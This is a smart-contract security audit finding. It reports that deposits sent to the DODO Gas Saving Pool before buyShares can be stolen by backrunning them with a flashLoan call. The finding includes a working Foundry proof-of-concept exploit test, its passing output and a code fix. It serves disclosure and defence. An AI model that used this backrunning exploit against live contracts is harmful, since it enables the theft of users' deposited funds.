Overt Onyx Newt

high

# User's deposited funds can be stolen by backrunning token transfers with a flashloan

## Summary

An attacker can backrun users deposits with a `flashLoan` call to steal their deposited funds.

## Vulnerability Detail

Before calling `buyShares`, as stated [here](https://github.com/sherlock-audit/2023-12-dodo-gsp/blob/af43d39f6a89e5084843e196fc0185abffe6304d/dodo-gassaving-pool/contracts/GasSavingPool/impl/GSPFunding.sol#L26), a user must deposits base and quote token simply using an IERC20 transfer function.

```solidity
/// @dev User first transfer baseToken and quoteToken to GSP, then call buyShares
```

Consequently an attacker can backrun deposits with a `flashLoan` call to steal his deposited funds.

**Proof of concept**

In `GPSTrader.t.sol`:

```solidity
function test_flashloanBackRunningTransfer() public {
    address attacker = vm.addr(3);

    // transfer some tokens to USER
    vm.startPrank(DAI_WHALE);
    dai.transfer(USER, BASE_RESERVE + BASE_INPUT);
    vm.stopPrank();
    vm.startPrank(USDC_WHALE);
    usdc.transfer(USER, QUOTE_RESERVE + QUOTE_INPUT);
    vm.stopPrank();

    // User transfers before buys shares
    vm.startPrank(USER);
    dai.transfer(address(gsp), BASE_RESERVE);
    usdc.transfer(address(gsp), QUOTE_RESERVE);
    vm.stopPrank();

    // attacker backrunning transfers
    vm.startPrank(attacker);
    gsp.flashLoan(BASE_RESERVE, QUOTE_RESERVE, attacker, "");
    vm.stopPrank();

    // User tries buys shares
    vm.startPrank(USER);
    vm.expectRevert();
    gsp.buyShares(USER);
    vm.stopPrank();

    assert(dai.balanceOf(address(gsp)) == 0);
    assert(usdc.balanceOf(address(gsp)) == 0);
    assert(dai.balanceOf(attacker) == BASE_RESERVE);
    assert(usdc.balanceOf(attacker) == QUOTE_RESERVE);
}
```

Results:

```bash
forge test -vvv --fork-url $ETH_RPC_URL --match-test test_flashloanBackRunningTransfer
```

```bash
Running 1 test for test/GPSTrader.t.sol:TestGSPTrader
[PASS] test_flashloanBackRunningTransfer() (gas: 211566)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.12s

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

## Impact

A user can lost his deposited funds.

## Code Snippet

https://github.com/sherlock-audit/2023-12-dodo-gsp/blob/af43d39f6a89e5084843e196fc0185abffe6304d/dodo-gassaving-pool/contracts/GasSavingPool/impl/GSPFunding.sol#L25C1-L82

## Tool used

Manual Review

## Recommendation

Do transfers inside `buyShares` after requesting for token approvals.

In `GSPVault.sol` insert:

```solidity
function _transferBaseIn(address from, address to, uint256 amount) internal {
    if (amount > 0) {
        _BASE_TOKEN_.safeTransferFrom(from, to, amount);
    }
}

function _transferQuoteIn(address from, address to, uint256 amount) internal {
    if (amount > 0) {
        _QUOTE_TOKEN_.safeTransferFrom(from, to, amount);
    }
}
```

In `GSPFunding.sol` modify:

```solidity
function buyShares(
    address to,
    uint256 baseAmount,
    uint256 quoteAmount
)
    external
    nonReentrant
    returns (uint256 shares, uint256 baseInput, uint256 quoteInput)
{
    _transferBaseIn(to, address(this), baseAmount);
    _transferQuoteIn(to, address(this), quoteAmount);
```
